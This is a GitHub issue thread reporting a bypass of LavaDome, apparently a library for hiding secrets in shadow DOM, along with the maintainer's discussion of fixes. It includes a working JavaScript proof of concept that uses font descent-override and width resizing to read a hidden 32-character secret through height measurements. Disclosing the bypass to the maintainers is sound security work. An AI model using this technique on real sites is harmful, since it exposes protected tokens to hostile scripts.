-
Notifications
You must be signed in to change notification settings - Fork 4
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
LavaDome bypass by detecting character height #48
Comments
I have to admit @masatokinugawa that this doesn't work on neither FF nor Chrome for me - I keep getting this: |
Can you try the following code? The possible cause is that the heights are slightly different. const secretChars = "0123456789abcdef";
let foundChars = "";
let styleText = "";
// Define fonts for each character included in the secret using the `unicode-range` of `@font-face`.
// Here, use `descent-override` property to change the height of each character.
// Also, narrow the #PRIVATE's width so that wrapping occurs character by character.
// And make the size of the characters in the first-line smaller than the rest.
// By doing so, when the #PRIVATE's width is widened little by little, the characters will drop to the first-line one by one.
const style = document.createElement('style');
document.body.appendChild(style);
for (let index = 0; index < secretChars.length; index++) {
styleText += `@font-face{
font-family: hack;
src: local('Comic Sans MS');
descent-override:${(index+2)*100}%;
unicode-range: U+${secretChars[index].charCodeAt(0).toString(16)};
}\n`;
}
styleText += `#PRIVATE {
font-family:hack;
word-wrap: break-word;
font-size:1000px;
width:0px;
}
#PRIVATE:before{
content:"x";
}
#PRIVATE::first-line {
font-family: "Comic Sans MS";
font-size:30px;
}
#check-height{
font-family:hack;
font-size:1000px;
}
`;
style.innerHTML = styleText;
// Check 0's height.
// From this height, you can determine the heights of all other characters.
// e.g. 1's height = 0's height + 1000, 2's height = 0's height + 2000, ...
const testElement = document.createElement('p');
testElement.id = "check-height";
testElement.innerHTML = "0";
document.body.appendChild(testElement);
const baseHeight = testElement.scrollHeight;
// Widen the #PRIVATE's width little by little and drop the characters to the first-line one by one.
// If a character fall to the first-line, the #PRIVATE's height will be changed.
// From this height's difference, detect what the character is.
let pHeight = PRIVATE.scrollHeight;
let pWidth = 1;
while (1) {
if (pHeight !== PRIVATE.scrollHeight) {
let heightDiff = pHeight - PRIVATE.scrollHeight;
for (let index = 0; index < secretChars.length; index++) {
if (Math.abs(heightDiff - (baseHeight + (1000 * index))) < 10) {
foundChars += secretChars[index];
console.log(`Found: ${foundChars}`);
break;
}
}
if (foundChars.length == 32) {
alert(foundChars);
break;
}
pHeight = PRIVATE.scrollHeight;
}
PRIVATE.style.width = `${pWidth}px`;
pWidth++;
} |
That works! Didn't look too much into it yet, but some intuition I have here is that maybe there's no escaping from LavaDome instance to introduce its own set of CSS rules to win the specificity race so that applying such CSS rules from outside won't work. For example, here you leverage an ability to resize internals of the shadow by resizing the size of the font - so if the size of the font remains constant, you shouldn't be able to achieve that (I think). |
@masatokinugawa #48 is an interesting [draft] approach I think. Basically it focuses on neutralizing outer CSS that goes after specific characters. The only one I'm familiar with is this The downside here is that specifically legitimate Curious to hear your thoughts. EDIT: I think this will solve the local Safari theoretical attack too #40 (comment) |
I think the approach is valid. But it seems that |
This trick only uses a local font installed by default. No need to use remote fonts or SVG fonts.
I wrote the details in the comments of the PoC below. The basic idea comes from https://demo.vwzq.net/css2.html by @cgvwzq.
Steps to reproduce:
descent-override
property I used in the@font-face
part, so doesn't work.)The text was updated successfully, but these errors were encountered: